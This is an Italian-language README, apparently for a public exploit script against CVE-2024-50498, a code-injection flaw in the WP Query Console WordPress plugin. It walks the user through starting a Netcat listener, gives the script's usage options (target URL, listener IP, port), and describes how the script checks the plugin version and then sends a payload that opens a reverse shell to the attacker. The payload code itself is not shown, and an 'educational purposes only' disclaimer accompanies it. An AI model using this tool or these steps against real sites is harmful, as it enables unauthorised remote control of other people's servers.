nxploited/cve-2024-50498Script di exploit per l'iniezione di codice CVE-2024-50498 nella WordPress WP Query Console che verifica la vulnerabilità e consegna una reverse shell.
La vulnerabilità di controllo improprio della generazione di codice ('Code Injection') in LUBUS WP Query Console consente l'iniezione di codice. Questo problema riguarda WP Query Console: da n/a fino alla 1.0.
Apri un terminale sulla tua macchina e avvia un listener Netcat per attendere la connessione della reverse shell
nc -lvnp <PORT>
usage: CVE-2024-50498.py [-h] -u URL -ip LISTENER_IP -P PORT
wordpress | Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code
Injection.This issue affects WP Query Console: from n/a through 1.0. script Exploit by: Nxploit Khaled_alenazi This script
is provided for educational purposes only. The author is not responsible for any damages caused by the misuse of this
script.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://example.com/wordpress)
-ip LISTENER_IP, --listener_ip LISTENER_IP
Your IP address for listening.
-P PORT, --port PORT Your listening port.
Dopo aver eseguito il comando, monitora il terminale Netcat per la connessione della reverse shell.
Lo script verificherà prima se il sito è vulnerabile cercando la versione del plugin. Se è vulnerabile, invia un payload per attivare la reverse shell. In caso di successo, controlla il terminale Netcat per la connessione della shell.